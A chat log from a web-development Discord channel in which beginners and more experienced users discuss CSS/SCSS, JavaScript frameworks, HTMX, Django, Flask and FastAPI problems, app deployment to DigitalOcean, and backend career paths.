#web-development

2 messages · Page 235 of 1

inland oak
#

makes much cleaner code, which is easier to track due to nested SCSS constructions

#

jQuery is a slightly better vanilla JS still under the hood. No point to use it

unkempt vigil
#

Damn, took me a hot second to get my css working and now I need to look into SCSS 😂 would you recommend becoming adept with CSS before trying SCSS?

I tried using jquery but for some reason my command to install it would only install an ancient version so I started trying with react.

Same question for vue, should I become adept in vanilla JS first?

#

The website I'm trying to build will basically be a blog when considering the functionality it needs, so vue might be the way to go if it's simple. I've been giving myself a headache all day trying to make one dropdown gain options based on the choice of a previous dropdown.

inland oak
inland oak
unkempt vigil
native tide
#
Setup guide for Django
1. Create a new folder_xyz
2. Use cmd to go to that new folder_xyz
3. C:\folder_xyz>python -m venv abc-env
4. C:\folder_xyz>abc_env\Scripts\activate
5.(abc_env) C:\folder_xyz>pip install django
6.(abc_env) C:\folder_xyz>django-admin startproject folder_xyz . <-- don't forget dot
7.(abc_env) C:\folder_xyz>python manage.py migrate
8.(abc_env) C:\folder_xyz>python manage.py runserver
atomic quest
#

Is there any method or tech that does the same job as REST API if I don't wanna use rest API and postman

cerulean stump
#

Is there any way that I can verify the data sent by an aiohttp session POST request?

#

I’m using aioresponses as of now to mock out aiohttp requests. But one can just send status code and payload data for a given URL and Method, I can’t seem to find how one can verify the data sent

inland oak
cerulean stump
native tide
#

Can someone answer at least my first question pleaseeeee?

cerulean stump
inland oak
#

in unit tests, use it only with mocking

native tide
cursive pine
#

What's the best free service to host FastAPI apps? The one I wish to deploy will be resource intensive as the user will constantly generate artwork via the algos.

atomic quest
# inland oak Clarify what u wish to achieve

If I wanna build a project that takes input from users like name plan add. and then return them response according to what they fill in the form
Can I do that without using REST API

inland oak
# cursive pine What's the best free service to host FastAPI apps? The one I wish to deploy will...

I would say there is no best free services to host backend. They are all crap. Rent cheap hetzner server for normal experience. 5 euro per month or something

Technically there is a free AWS EC2 instance for a year, but it is having like 0.25 CPU in it, and just a bit of nightmare for first experience i think
Also Google Cloud Platform offers some credit for first 6 years of your experience
Problem is AWS/GCP/Azure are big providers overbloated with GUI to the level that it is impossible to work with them without Infrastructure as a Code approach (tools like Terraform are needed)
And Heroku has something free, but it is a bit of an ugly app deployment system, which I don't wish to recommend

inland oak
#

the point of REST API is just for decoupling backend logic from frontend. And allowing you to use best specialized tools for backend and for frontend

#

Full stack tools without logic separation are just not scaling in code and aren't meant for real work

atomic quest
inland oak
atomic quest
inland oak
# atomic quest ok then why people prefer it over other things ?

as I said the main proffit is decoupling logic and ability to use specialized tools best for both worlds (backend and frontend)
We make REST API once for backend, and can reuse it to render later Web Html frontend / or working for Desktop application or Mobile application
Also we just make more microservices with backend logic, where each REST (or semi rest) application is handling a certain... piece of backend logic. It all scales well with with code growth, because in REST APIs we don't need to care about all of this frontend stuff. We can hook one backend apps depended on others easily when we deal just with JSONs

And for frontend... it allows to use Frontend Frameworks in Javascript. They change experience entirely by introducing Javascript Syntax which makes writing frontend logic 5 times easier. And the main thing they allow easier is to write frontend that renders once and for next actions it is not requesting re renders. All actions happen interactively at client side in browser. Think of it as desktop application loaded once temporally to user, and remaining with him until he closes browser.
Plus Frontend frameworks go with SCSS, which makes layout coding way better as well.
The point is with decoupled logic of frontend from backend, we can use tools which are specialized and allow to write us... clean code. Or at least attempt to do it.

It is all for code growth base and principles for clean architecture, which are important for developers from middle rank and higher.
We learn stuff like OOP / Design Patterns / Domain Driven Design / Code logic isolation in architecture - Clean architecture. All of it to scale code better and keeping it simple to extend further and read. Views code architecture layers should be isolated from Domain logic.

P.S. also because backend and frontend kind of ask different skill sets, and it is better to find people specialized in one thing than crappy developers who can do barely both things.

atomic quest
#

WoW thanks man 😄

native tide
#

ναι

inland oak
# inland oak as I said the main proffit is decoupling logic and ability to use specialized to...

@ionic raft that's btw the main thing that will prevent easily fixing your application if you did not separate backend and frontend in the beginning. Once you contaminated and broke isolation between View(frontend) and all other layers(lets consider them backend), separating them again is a pain in the ass level of problem. Architecture decisions made in the beginning cost 10-100 times less time and effort.

P.P.S. and all of it leads again to ability independently horizontally scaling machine resources for performance of different app parts.
P.P.P.S. There are more architecture layers introduced in backend which require preferably isolation as well

tribal tapir
#

how can i save uploaded file from form-data in fastapi?

stable bear
#

is it better to redirect users to the www version or the non-www version of my webpage?

cursive pine
stable bear
#

can javascript be used to make a request to the backend? for example, after clicking a delete button, i would like my backend python to change something in a database

stable bear
#

how do you do that? is there any good youtube video that goes through this, as i haven't come across this concept before in the beginner tutorials i've looked through so far

inland oak
rigid laurel
#

Can be done in a very neat and simple way with HTMX

inland oak
inland oak
# stable bear how do you do that? is there any good youtube video that goes through this, as i...

I built a simple app with 10 different JavaScript frameworks... Learn the pros and cons of each JS framework before building your next app https://github.com/fireship-io/10-javascript-frameworks

#javascript #webdev #top10

🔗 Resources

Full Courses https://fireship.io/courses/
Performance Benchmarks https://github.com/krausest/js-framework-benc...

▶ Play video
#

U will feel the difference

stable bear
#

ok, but i don't want to use a js framework yet

rigid laurel
#

Recommending a full JS framework for something as simple as a delete button isn't particularly helpful - using raw JS or something super lightweight like HTMX makes much more sense

inland oak
#

It will show u vanilla js solution too

delicate ore
#

is there a way to call a function(basically Modifies the values a bit) everytime a form gets submitted in Flask-Form

inland oak
rigid laurel
#

Svelte is rubbish - in order to understand what is happening you need to get a handle on a bunch of different concepts

#

HTMX integrates nicely with server side rendering

#

it requires very little JS knowledge

delicate ore
#

what backend framework u using? @stable bear

rigid laurel
#

AlpineJS might work as well - because again it is very small and light and easy to start developing with

delicate ore
stable bear
#

send a request to the backend, when a button is clicked

#

not on a form

delicate ore
#

you can just use vannila js for that or even jquery

rigid laurel
#

don't use Jquery

stable bear
#

i'll stick with vanilla js as i'm very much a beginner

delicate ore
#

it's not something big in that you shouldn't need to bring in a frontend framework

rigid laurel
delicate ore
inland oak
rigid laurel
#

just add some extra properties to your HTML

rigid laurel
inland oak
rigid laurel
#

the idea is that you keep your frontend stateless and handle all the presentation logic on the backend

stable bear
rigid laurel
#

but that's not ideal for some things

#

I haven't found a great way to do slightly stateful things on the frontend

inland oak
stable bear
#

is this to do with AJAX requests?

rigid laurel
delicate ore
#

pretty cool

rigid laurel
#

it lets you send AJAX requests without actually writing the code to do it

inland oak
stable bear
#

what about something like this?

function deleteNote(noteId){
    fetch('/delete-note',{
        method:'POST',
        body: JSON.stringify({noteId:noteId}),
    }).then((_res) => {
        window.location.href = "/";
    });
}
delicate ore
rigid laurel
stable bear
#

i'm just asking what is this type of way called?

delicate ore
inland oak
stable bear
#

ill look at htmx now

rigid laurel
#

yeah, vue is my next thing to try when I have to do something like this

inland oak
rigid laurel
manic garnet
#

Hi

delicate ore
#

is it because it's simple to use?

#

isn't svelte also easy to use? (atleast it says so)

rigid laurel
#

petite* vue, not just vue

delicate ore
#

hmm

rigid laurel
#

I tried Svelte, wasn't all that thrilled by it

#

and petite vue seems like the best option for something super lightweight

#

also no buildchain bullshit is necessary, makes it much easier to get other people developing the project

inland oak
delicate ore
#

yea it actually is

rigid laurel
#

Angular is dead or dying, React is only really any good if you definitely want a beefy SPA, Vue really does seem like the nicest option

delicate ore
#

looked into petite vue and it looks kinda nice

delicate ore
#

@rigid laurel what's the big difference b/w vue and petite vue

rigid laurel
#

petite vue is only 6kb, and loading it directly from a CDN is treated as a first class citizen - that means you don't necessarily need to care about a JS buildchain in your project

delicate ore
#

ah

#

i also prefer cdn

rigid laurel
#

from the README

petite-vue is an alternative distribution of Vue optimized for progressive enhancement. It provides the same template syntax and reactivity mental model as standard Vue. However, it is specifically optimized for "sprinkling" a small amount of interactions on an existing HTML page rendered by a server framework. See more details on how it differs from standard Vue.

delicate ore
#

i found it annoying to use tailwind because of the buildsteps

#

mainly because i didn't have node installed

rigid laurel
#

if I'm doing a project work work - I want it to be as simple as possible for someone else to get started. Taking Node out of the question, so it's literally "get an editor, clone the repo, run flask" and having people be able to change anything is great

#

but from an individual perspective, having a build step isn't much more effort

tribal tapir
#

why does fastapi say method not allowed

compact wing
tribal tapir
#

eh i already read that but its okay

#

when i use html in HTMLResponse with fastapi it works

swift wren
#

did you read this tutorial?

tribal tapir
#

but with external html file it says method not allowed

#

ye i did read everythin

#

g

swift wren
#

take out the request param

tribal tapir
#

already did

#

nothing works

swift wren
#

you need to save all your files or sm

#

its perfect code, you probably forgot the save or something

tribal tapir
#

i save everything

#

and i check everything

#

cuz it works with this

swift wren
#

i think if you're serving the html as a Html response then remove the action from the form and just leave in the action

tribal tapir
#

but if i put in index.html file it does not work

#

i also do the app.static thingy

#

it was FileResponse before

swift wren
#

like FileResponse(index.html) ?

tribal tapir
#

ye

swift wren
#

this might be janky asf

#

but what if you did HtmlResponse(content=open('index.html').read())

tribal tapir
#

ill try later cuz i am trying to implement other stuff rn

#

thanks for help

swift wren
#

btw, its probably unwise to serve html for a framework that is based around making apis. if you want to work with html, i recommend you use flask.

tribal tapir
#

i only have an index page nothing else

timber jungle
#

Hello
I have this:

    listofitems = {
        "item01":["value01", "value02", "value03", "value04"],
        "item02":["anothervalue01", "anothervalue02", "anothervalue03"],
        "item03":["differentvalue01", "differentvalue01", "differentvalue01", "differentvalue01", "differentvalue01"]
        }

How is it possible, with jinja, to create two separate drop down menus, one with the keys, the other with the values?

frank shoal
#

Like a <select>?

#

You'll probably need some javascript

#

render the keys in a select, then render the values of each key in separate selects

#

set the display css property on each one based on which key is selected

#

If you were using vue, I'd recommend this. ```html
<template>
<select v-model="key">
<option>opt1</option>
<option>opt2</option>
</select>
<select v-show="key == 'opt1'" v-model="value">
<option>xxx</option>
<option>yyy</option>
</select>

</template>
<script setup>
import {ref} from "vue";
const key = ref();
const value = ref();
</script>

round shard
#

guys whats the catch on django? do I need to know HTML or anything else? or django is purely web development with python?

inland oak
#

web development is always uses multiple stuff though

#

you are expected to learn SQL, if you go to python frameworks. At least in order to understand how python ORM works

round shard
inland oak
#

and make with it Rest APIs with exposed endpoints for JSON stuff

#

full stack with backend framework is a really crappy way to go

#

even if u for some reason wish to be silly full stack, better to learn django rest framework for backend, and learning stuff like vue.js for frontend

#

and doing normal full stack together... or at least as much as it would be possible

round shard
#

ok so with django rest framework and vue.js you think I could start with decent web development? I suppose vue.js requires .js knowledge, meaning I need to learn .js before vue.js, is that right?

#

not trying to be lazy, I'll learn .js eventually

#

but if its not needed now for web dev then I'll avoid it for the moment

inland oak
round shard
#

cause I'm really focusing on python so adding another language could cause confusion :/

inland oak
#

then learn how to make REST APIs first

round shard
#

what level of .js knowledge is required to use vue.js

round shard
inland oak
round shard
#

like flask rest api?

inland oak
round shard
#

the solution would be just focusing on one

inland oak
#

yup

round shard
#

hmmm

inland oak
#
round shard
#

yeah

inland oak
#

the roads are pretty long one for both paths

round shard
#

I saw that yeah :/

inland oak
#

and those roads are actually aren't showing the real amoung of knowledge u a supposed to know

round shard
#

front end would be more like design while backend seems to be all the functions of the website

#

backend sounds much more interesting for my interest

inland oak
round shard
#

but look at that roadmap, its huge

inland oak
#

take a notice of green SWE stuff

#

you need only green, yellow and light purple (SWE, backend and python blocks)

#

ignore blue-purple, it is devops

frank shoal
#

For some reason, I read that as blackend. You know, because dark?

round shard
#

kk

inland oak
#

and orange is frontend

inland oak
round shard
#

ok I'm a bit confused

#

first of

#

its not at all recommended to learn both front and back end for at least certain projects?

#

I mean I'll do what's best for my career

inland oak
round shard
#

ok then backend

inland oak
#

at some later stages... sure, why not. But first years better to concentrate on one thing

round shard
#

to master it, makes sense

#

so for backend you need more than python anyways

inland oak
#

yeah. I would recommend to concentrate first 3 years on one thing at least

#

this is minimal years of experience after which it is more or less not tooo hard to get hired

round shard
#

I'll do CS though

#

I think that helps ?

inland oak
#

it will help you to get easier hired as a junior. And will learn you a lot of basics / initial green stuff from my roadmap

#

it will help greatly

round shard
#

do you have a degree

inland oak
#

yeah, masters degree

round shard
#

on what? think

inland oak
#

Bachelor for Math, Master for CS/(data scientish/machine learning a bit)

round shard
#

ah nice

#

so it was useful for your backend career? is that something businesses value when they have to hire you?

#

cause I didn't start yet, I should be starting in 1 month exactly, but I was wondering if its better to self teach me everything

inland oak
#

it is kind of useless in a sense that... the only thing eventually i learned only how to learn stuff

#

and of course some basics i learned

#

i needed a lot of self education to catch up after that

#

and i still need to have a lot of self education if I wish ever to reach next rank xD

#

programming life is a life of a constant self education

round shard
#

whats next rank for you

inland oak
#

middle backend + devops

round shard
#

whats middle backend 🤣

inland oak
#

middle ranked python backend developer ;b

round shard
#

its a more advanced backend?

inland oak
#

nah

#

🤔

#

there is a gradation like Junior, Middle, Senior developer

#

Junior needs guidance, and makes crappy solution a problem
middle dev is doing stuff on his own better, and does complicated solutions to a simple problem
senior dev can architect solutions, and can do simple solution to a simple problem xD

#

that's sort of a short description

#

it is more complicated

round shard
#

oooh

#

so you escalate with the experience basically 🤷‍♂️

#

basically

inland oak
#

wait a second, i will a link that describes it better

round shard
#

kk 🙂

inland oak
#

where was that atlassian link with level of ownership for differently scoped devs🤔

round shard
#

sorry I dont get you 🤣

inland oak
#

thoughts aloud.

#

searching the link

round shard
#

kk 😄

inland oak
#

let me write you a more detailed description on my own then

#

in terms of a backend development, Junior is a dev only little familiar with backend technologies, which tried them at best in pet projects only. No commericla experience with it.
Junior developer is often needs strictly defined task to do.
Junior dev can be knowing nothing about code architecture or even code testing
It is still expected to know what is OOP, or Solid stuff though. But even in this case junior can barely understand what it means really without experience.

Middle ranked devs is already knowing code architecture, about design patterns, different architecture ways in code
middle dev already knows that gathering requirements and building software can be done with SLDC steps
Middle dev can do the tasks on his own without a help
And yet he knows when it is time to ask for a help, because the issue is clearly out of a scope to learn on his own
Middle dev is already knowing for years some technology stacks
and knows basics for literally everything.
From databases to other things.
he can decomposite tasks how to step by step at least in a small scope for himself
Refactoring code to make code better
Different approaches to coding TDD included

Senior ranked dev just knows everything of it at a deeper level. He was exposed to a wide area of things
and can arhictect solutions to the problems on his own, and split them to other developers
Senior ranked dev chooses right technologies to solve a problem
Approaches any problem with a approach of how to solve business problem first, not how to code yet another code
Senior dev controls better risks when development can rush quicker to solution, and when better to delay and concentrate on cleaning/stabilizing stuff for more reliability
Senior dev goes for code solution that he can architect in the right mixture of planning from bottom and from top in advance

#

Also between ranks is increased level of impact a dev can make, there is a ladder from C1 to C7 or something like that

#

it kind of a rough description that i wrote on my own. I don't pretend on it being precise 🤔

round shard
#

its pretty clear actually

#

I understood it all

#

so let's see...

so as a conclusion, I should focus on my backend (python, ruby, php, java, etc) mainly for the first years, then maybe I could go with frontend (html, css, javascript, etc) or the other way round.
And will that roadmap you shared with me will help me be a good backend dev if I strictly follow it and concentrate on learning all the things related with web-dev?

inland oak
# round shard so let's see... so as a conclusion, I should focus on my backend (python, ruby,...

Ergh. yes it would do better to concentate on backend or frontend. I would mention that. If you go into web dev
it is more expected from backend people to learn actually Software Enginering to which stuff above is applied. To frontend developers it is actually not applied.. at a full scope.
I am not sure if frontend developers are learning software engineering stuff 🤔 (They should be in theory)

my roadmap is made from perspective of a middle backend dev (which also knows devops), it is not having everything precisely in how it should be. It would reach a level what to learn to senior rank, only when i would reach it xD

#

Software engineering skills are quite great and reusable. Backend devs, mobile devs, desktop devs, we all learn same stuff for a major share

#

due to a different between operational systems targetered for development, and different ecosystem of libs for our solutions, we still learn a bit of different things, but you get the idea

#

at my picture a lot of stuff is generic SWE blocks

inland oak
#

my roadmap is made from a perspective only one person at the moment. Which is not great

#

in collobration better things are born

inland oak
#

Check Software engineer, and read explanations for what is Software engineer from IC1 to IC7 level

#

that would be pretty much description of what is expected from backend developers at least in initial levels

#

how it is translated into frontend devs i am not sure.. at least initial levels should apply to them more or less in the same way. not sure if they have available to them higher ranks from ladder

#

Technically all higher IC ranks require management skills already

#

so it becomes not really a backend developer / or just a tech person

#

it starts to sound like Software Architect, or Team/Tech Lead something

#

lol. Without management skills you can reach only IC2 level out of 7 xD

round shard
inland oak
#

reading dropbox explanations, and considering other involved things. I think stuff needs to be expanded 🤔

round shard
#

sorry what is IC

inland oak
#

I have no idea

#

dropbox internal rank name/category

round shard
#

😂

#

and what would be management skills 🤣

inland oak
round shard
#

😅

inland oak
#

and can provide some description what i think it is at my best guess

#

Management skills = ability to lead developers or teams of developers and event not developers under your lead xD

inland oak
#

it should have some answers what is it at least

#

this book should also technically have related material

inland oak
#

i think i am only IC2 software developer in this grade xD

#

which learned only some aspects of IC3 level

#

to be honest, IC1-IC2-IC3 look like exactly Junior/Middle/Senior ranks xD

#

fun fact, reaching IC3 level is already not within a considerable amount of people careers

#

each next rank is archieved by even less people than what they will have in their lifetime of career

round shard
#

well I think the goal of everyone should be the best rank 🤷‍♂️

#

everyone can

graceful igloo
#

Has anyone ever had an issue where there files won’t update?

#

I’ve been trying to change up the css and htlm files that my flask project is using but they refuse to change.

I save the changes and everything but when I run a production server it doesn’t run the files as they should be

ionic raft
#

The more I read the more interested I become.

inland oak
#

i am trying to learn AWS now

#

it is a nightmare

inland oak
# ionic raft The more I read the more interested I become.
A. Use Amazon EC2 in an Auto Scaling group with On-Demand instances.
B. Build the application to use Amazon Lightsail with On-Demand Instances.
C. Create an Amazon CloudWatch cron job to automatically stop the EC2 instances when there is no activity.
D. Redesign the application to use an event-driven design with Amazon Simple Queue Service (Amazon SQS) and AWS Lambda. 
#

in those options I would like to choose D2

#

Do it with open source solution for event driven design in Kafka

#

that's not really answering scaling hardware question though

#

i would have to resort to kubernetes auto scaling node pools highly likely

native tide
#

Question: I'm trying to create a registration form where users can select their cities based on the region they are selecting.

I've already implemented the functionality above for registrants selecting regions based on the countries they choose, but can't seem to get it right for a double-chained dropdown option.

Here is my code for the HTML page, forms, and views: https://pastebin.com/VCGjzcMC

Any tips would be great, thanks

brisk tide
#

Question 1: How do I get a precentage variable from my js code to work in css.
Question 2: Is it possible to make animation (css) to do its thing once?
Here is my code, dont question it and dont bully me. (= https://pastebin.com/EfQ8MArn

inland oak
#

Obviously in vanilla js everything is possible to be done too... Just way harder. U need to know it at hacker level to do it, when any newbie can do it in Frontend framework

brisk tide
inland oak
#

Official docs are cool

#

And Vue CLI 5 for vuejs project setup out of the box

#

Smallest learning curve, maximum enjoy

brisk tide
#

Bro, I am just trying to make a simple animation. No offense, I dont understand why you would answer me and say Idk now how to do that, but this is frontend stuff...

#

It would be great if you could help me make this work with what I have. I am pretty sure its not that complicated just I dont know how things interact with each other yet

indigo kettle
#

can't you just change "infinite" to "1"?

#

that might be all you have to do

#

then you can also change the duration to 5s and the 50% keyframe to 100%

#

@brisk tide

brisk tide
#

I kinda want it to be slow, but this is helpful

#

Do you know how I can make the whole line fade away or something?

#

I want it to make multiple lines and they should fade away after a little while

#

@indigo kettle

indigo kettle
#

I think you can edit the opacity in your keyframes

#
 .scrolldown::before {
  content: '';
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background: linear-gradient(transparent, #fff, transparent);
  animation: animate 5s linear 1; /*Make this thing go only once, idk what to change infinite to*/
  opacity: 0;
 }
 .background {
    background-color: #000000;
    background-image: #000000;
    height: 100%;
    width: 100%;
    background-position: center;
    background-repeat: no-repeat;
    background-size: cover;
    position: relative;
  }
  @keyframes animate {
    0% {
      transform-origin: top;
      transform: scaleY(0);
      opacity: 1;
    }
    50% {
      transform-origin: top;
      transform: scaleY(1);
    }
    100% {
      opacity: 0;
    }
  }

#

had to add opacity: 0 at the start for it not to reappear

brisk tide
#

Ok, made that work the way I want it now how do I make the css import the precentage from my js code?

#
  content: '';
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background: linear-gradient(transparent, #fff, transparent);
  animation: animate 15s linear 1; /*Make this thing go only once, idk what to change infinite to*/
  opacity: 0;
 }
 .background {
    background-color: #000000;
    background-image: #000000;
    height: 100%;
    width: 100%;
    background-position: center;
    background-repeat: no-repeat;
    background-size: cover;
    position: relative;
  }
  @keyframes animate {
    0% {
      transform-origin: top;
      transform: scaleY(0);
      opacity: 1;
    }
    67% {
      transform-origin: top;
      transform: scaleY(1);
    }
    100% {
      opacity: 0;
    }
  }```
#

Like if I make this

 .scrolldown {
  position: absolute;
  top: 45%;
  left: var(intplacmentpre);
  transform: translate(-50%, -50%);
  width: 3px;
  height: 100%;
  background: transparent;
 }```
Then it will just place the line all the way on the left
#

No matter what number I generate

#
 function refreshData()
{
    x = 3;
  let placment = Math.random() *100;
  let intplacment = Math.round(placment)
  let intplacmentpre = intplacment+"%";

    setTimeout(refreshData, x*1000);
}

refreshData();
#

Every 3 seconds it should generate a new left precentage from 0 - 100

#

@indigo kettle

echo dawn
#

I'm creating a League web project, and something is bothering me, the irelia's line is kind of off, everything is inside a <section class="champions_profile"> can someone help me with this?

#

the html

viscid valley
#

Any Django-Unicorn users? Curious if anyone is using it in production.

mortal trellis
#

does anybody know why I can't install it? I'm new at this and i just follow Mr. Mosh at youtube https://www.youtube.com/watch?v=rHux0gMZ3Eg&t=787s

Python Django Tutorial for Beginners - Learn Django for a career in back-end development. This Django tutorial teaches you everything you need to get started.

Other resources:
Python Tutorial for Beginn...

▶ Play video
fiery zenith
#

Need to install pipenv

#

Or just use pip3 or pip which version you have to install django

#

If still get the error after installation has to do with the path

mortal trellis
fiery zenith
#

Like pipenv wont install?

mortal trellis
fiery zenith
#

What happens when you do

#

Try reinstalling

mortal trellis
fiery zenith
#

Could show terminal command?

mortal trellis
#

does the django online still the same ?

fiery zenith
#

I not sure i only familiar installing on terminal

#

But can try

mortal trellis
fiery zenith
#

You can try disabling that anti vitus maybe

#

Then follow tutorial in installing pipenv

mortal trellis
cursive pine
#

Folks,
I'm trying to deploy my FastAPI app to DigitalOcean. This is how I run it locally:

app.py - client side web application (transpiled files get put into ./src/__target__/)
(venv) $ transcrypt --nomin --map src/app.py
nft_server.py - FastAPI REST server
(venv) $ uvicorn --app-dir src nft_server:app --reload
http://localhost:8000
#

What do I add as build command and run command here?

random topaz
#

Guyz,
How can i run py script, that i have on DG ocean droplet from webpage button click? I am scraping table, so i want to bind my scraper to webpage button, so when customer clicks on button scraper runs on DG Ocean droplet an parses table, so customer sees current data

gusty hedge
#

@random topaz , you need to expose that logic via web service. There are several ways to do this - Flask framework is a popular one

random topaz
#

@gusty hedge yes, i have used flask for previous project, but now i am working on WORDPRESS But what if i use IFRAME and put only button there? what do you think?

gusty hedge
random topaz
#

Thanks, let me read

cursive pine
gusty hedge
gusty hedge
random topaz
#

i will create Flask App, deplay it on DG Droplet and using IFRAME i put it on wordpress page

cursive pine
cursive pine
cursive pine
cursive pine
gusty hedge
#

any more information?

cursive pine
#

deploy log: ERROR: failed to launch: determine start command: process type web was not found

gusty hedge
#

what's the command you put there?

cursive pine
#

so maybe I leave the buil command blank but put something in run command?

cursive pine
gusty hedge
#

did you set the Procfile?

cursive pine
#

do I set it in my repo?

gusty hedge
#

yes

thick oak
#

im getting this key error which i've narrowed down to an api call. my site is making the call then passing it to a class. then when in production, the site grabs the number that's held in the class but throws a key error. in development, it gets the number and proceeds. any ideas?

cursive pine
# gusty hedge yes

will it be same as the github? web: gunicorn --worker-tmp-dir /dev/shm --config gunicorn_config.py app:app
or will mine be custom?

gusty hedge
#

my guess is that you need to put the uvicorn comand you posted initially

lyric reef
#

Can we automate app android using python?

cursive pine
gusty hedge
cursive pine
#

a flile type

gusty hedge
#

mm ok

cursive pine
# gusty hedge mm ok
yaml: unmarshal errors:
[2022-07-15 10:55:08]   line 1: cannot unmarshal !!str `uvicorn...` into map[string]string
[2022-07-15 10:55:08] ERROR: failed to build: exit status 3
[2022-07-15 10:55:13] 
[2022-07-15 10:55:13] For documentation on the buildpacks used to build your app, please see:
[2022-07-15 10:55:13] 
[2022-07-15 10:55:13]    Python  v0.211.4  https://do.co/apps-buildpack-python
[2022-07-15 10:55:13] 
[2022-07-15 10:55:13]  ! Build failed
cursive pine
#

someone needs to build a giga-tool to encompass all kinds of deployments and builds so everything can be done via GUI instead of typing unintelligible commands in 9 different places.

#

or outsource this shit to AI

timber jungle
#

Hello
Is it possible to disable Flask-Talisman for some routes ( html pages) ?

frank shoal
#

I have the following DOM layout (rendered from markdown). How can I hide anything not part of the first h2 section? i.e. hide everthing after and including the second h2?

#

preferably with css

frank shoal
#

I ended up with this. ```scss
h2 ~ h2 {
// hide the extra headers
display: none;
& ~ * {
// hide the extra logs
display: none;
}
}

simple belfry
#

guys i have a small problem regarding django
i made a new project but each time i run the server or make migrations
it says ModuleNotFoundError: No module named 'league'
league was the name of my last project
idk why it still thinks league exists in this new project of mine .. i also use a diffrent env folder here
this is the file structure i have

#

this is a picture with the installed apps and the error i get

echo dawn
#

I'm having an issue with my css not working for some specific tags, it works for the rest of the code, but when it comes to the ids: parents, img1 and img2 I doesn't work

{% load static %}

{% block css_files %}
<link rel="stylesheet" href={% static 'lore/css/index.css' %}>
{% endblock css_files %}
{% block title %}Welcome to LeagueLore{% endblock title %}

{% block content %}
<section class="champions_profile">
    <ul>
        {% for stat in stats %}
        <li>
            <a id="parents" href="">
                <img id="img1" src="{% static 'lore/images/champions_profile_image/' %}{{stat.champion_name}}.png">
                <img id="img2" src={% static 'lore/IconFrame.png' %} alt="">
                <h5>{{stat.champion_name}}</h5>
            </a>
        </li>
        {% endfor %}
    </ul>
</section>
<ul></ul>

{% endblock content %}```
frank shoal
#

You can add jinja to your code block to make it render as jinja html

#

i.e. ```jinja

atomic sinew
#

I created a model in which I have a field called published_date, this field is set by a function "publish", which when called will set published_date to current time and date and then save the form to the database. I created a form using ModelForm. I used form.as_p in the template. I want my submit button to call the "publish" function when I click it. But things don't work.

timber jungle
#

Hello
I am using a jinja variable in a javascript file var subjectObject = {{ superlist|safe }} ( the value of the jinja variable is a dictionary from python )

In html i am loading the javascript file like:

{% block javascript %}
<script type="text/javascript">
  {% include '/static/js/triplechoice.js' %}
</script>
{% endblock %}

And it is working,
But it needs to have the JS file relative to the index.html file , as in: index.html/static/js/triplechoice.js )
But I am using Flask with a different Folder structure ( https://python-adv-web-apps.readthedocs.io/en/latest/flask3.html#folder-structure-for-a-flask-app )
How is it possible, with jinja, to have the triplechoice.js file in Flask's main_dir / static / js , please?

#

I hope this sheds more light:

> tree
.
├── __pycache__
│   └── listofitems.cpython-38.pyc
├── app.py
├── listofitems.py
├── static
│   └── js
│       └── triplechoice.js ( it cannot find the file here )
└── templates
    ├── index.html
    ├── layout.html
    ├── login.html
    ├── page.html
    └── static 
        └── js
            └── triplechoice.js ( working if it is here )
young scarab
inland oak
young scarab
#

brutal. this is my first website i've tried to make from scratch pepe_cry

native tide
#

wow

#

it’s so good

inland oak
toxic bay
#

Hey, i have a question, how can i pass this data to javascript ?

#

i use flask

inland oak
toxic bay
#

thx

inland oak
# toxic bay Hey, i have a question, how can i pass this data to javascript ?

i would recommend actually learning javascript basics. Because there are a lot of directions to send from/to

Server side
Client side html zone and css zone
Client side javascript data model

going from any choice to any choice, and then wishing it changed back to some other direction... you know. kind of a lot of directions. It becomes simpler with javascript frontend frameworks though (which you can use in flask templating engine too)

toxic bay
#
<script>
  let user = `{{current_user.name}}`;
  console.log(user)
</script>
toxic bay
inland oak
#

you can send JSON data from Server side to Client side javascript model

#

and you can send from Client side javascript model to Server side

#

and you can send from Client side javascript model to Clietn side Html zone/ css zone
And you can send from client side html zone/css zone to Cient side javascript data model
Well, and obviously you can directly render Server side into Client side html/css, with returning responce back through some html forms and with html forms+touch of action/listener javascript

toxic bay
#

thx uwu

timber jungle
zealous elk
#

I am not getting the desired output from my code. The details are in #help-orange, please help me if you can!

#

I am really desperate :/

ionic raft
ionic raft
# young scarab https://www.oliegrey.com/ rate my responsive menu bar (placeholder image) <:7739...

A few quick observations:

  • White font is lost on background;
  • background image has a fixed width - page looks messy on wider resolution;
  • logo colour is also getting lost;
  • use of grey background on drop-down menus is better;
  • not keen on hamburger right of login - I'd display login as menu item when wide, and have login within hamburger responsive;
  • Below the nav-bar the page I assume has not been worked on at all - no comment;
  • mixed feelings on the responsive nav-bar image - overall, I'd not use an image in this way, but I do understand why you'd like it work. Maybe a part of the problem is that the overall design hasn't been done. A nav-bar isn't meant to be a stand alone feature. Function and form for a nav-bar can only really be fully understood within the context of the entire page...

Hope that helps. Good luck

worn aurora
toxic bay
worn aurora
#

Cors is for when you make api calls from a browser

toxic bay
#

I thought CORS was like requesting resources like a web api from a different domain

#

About that I'm sure I have the validation of the CSRF token in the api well, the one you see now was just a test to test, now it doesn't exist XD

#

To avoid a "bypass" of that token I am storing it in a temporary cookie, I don't know how good a practice it is

cursive pine
tulip tangle
#

how do i embed my js file into html

thick oak
#

im getting this key error which i've narrowed down to an api call. my site is making the call then passing it to a class. then when in production, the site grabs the number that's held in the class but throws a key error. in development, it gets the number and proceeds. any ideas?

echo briar
#

Anyone know of any libraries that can be used with Python to stream locally owned music?

#

Like if I wanted to put my favorite albums on a website for anyone to listen to.

native tide
#

i made a html website with images.but it didnt show images and showed the load image symbol i tried but the image wasnt loading

hollow dune
#

I want to reverse engineer a website, to see how it works, like the button click and stuff like that, is there any tool which I can use to just F9 a button and after that go through everything and every js function that gets called by the website?

#

i have a simple website built for this, its just a button which runs some JavaScript, and i want to debug it on the browser side

#

please ping on reply

cursive pine
#

console log shows 504 error

#

please help

cursive pine
#
[2022-07-16 08:47:38]     import tkinter as TK
[2022-07-16 08:47:38]   File "/workspace/.heroku/python/lib/python3.10/tkinter/__init__.py", line 37, in <module>
[2022-07-16 08:47:38]     import _tkinter # If this fails your Python may not be configured for Tk
[2022-07-16 08:47:38] ModuleNotFoundError: No module named '_tkinter'
[2022-07-16 08:47:38] [2022-07-16 08:47:38 +0000] [16] [INFO] Worker exiting (pid: 16)
[2022-07-16 08:47:38] [2022-07-16 08:47:38 +0000] [1] [WARNING] Worker with pid 16 was terminated due to signal 15
